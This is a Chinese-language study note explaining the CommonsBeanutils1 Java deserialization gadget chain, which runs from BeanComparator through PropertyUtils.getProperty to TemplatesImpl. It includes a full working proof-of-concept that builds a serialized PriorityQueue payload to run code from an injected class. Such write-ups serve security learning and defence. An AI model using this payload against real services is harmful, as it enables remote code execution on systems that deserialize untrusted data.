Commons Beanutils1
2022-11-23 01:28:36

Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对
象(也称为JavaBean)的一些操作方法。

demo

1
2
3
4
5
6
7
8
9
final public class Cat {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}

包含私有属性name,两个方法,一个读取一个设置
getxxx->gettersetxxx->setter,全名符合骆驼式命名法

其中commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty,让使用者可以直接调用任
意JavaBean的getter方法

1
PropertyUtils.getProperty(new Cat(), "name");

commons-beanutils还会自动调用name属性的getter方法。
PropertyUtils.getProperty还支持递归获取属性
例如a对象中有b属性,b中有c,那就可以通过PropertyUtils.getProperty(a, "b.c");递归获取对象。

来看下org.apache.commons.beanutils.BeanComparator下的compare犯法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int compare( T o1, T o2 ) {

if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}

try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}

在这里插入图片描述

TemplatesImpl#newTransformer()的上一层调用方法getOutputProperties()get开啊头,符合getter
定义

TemplatesImpl忘记流程的可以看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.ki10MOc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonsBeanutils1 {
public static void main(String[] args) throws Exception {
//TemplatesImpl部分
byte[] code = Files.readAllBytes(Paths.get("H:\\Code\\JavaSecurityCode\\CommonsBeanutils1\\target\\classes\\evil\\EvilTemplatesImpl.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "ki10Moc");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
// templates.newTransformer();
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}



//setFieldValue利用反射给私有变量赋值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

}

在这里插入图片描述

省流

如果你了解TemplatesImplCC2的流程
前面的就都不用看了
只需要知道在TemplatesImpl

1
2
3
4
5
TemplatesImpl#getOutputProperties() -> 
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

最开始的方法getOutputProperties是以get开头,
而在JavaBean

1
2
3
4
5
6
7
8
9
final public class Cat {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}

它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter
的方法名以get开头即getter方法

commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任
意JavaBean的getter方法

1
PropertyUtils.getProperty(new Cat(), "name");

两者结合起来即将property 的值为 outputProperties

1
PropertyUtils.getProperty( o1, outputProperties);

就可以触发后面的任意代码了

写法没有什么奇特的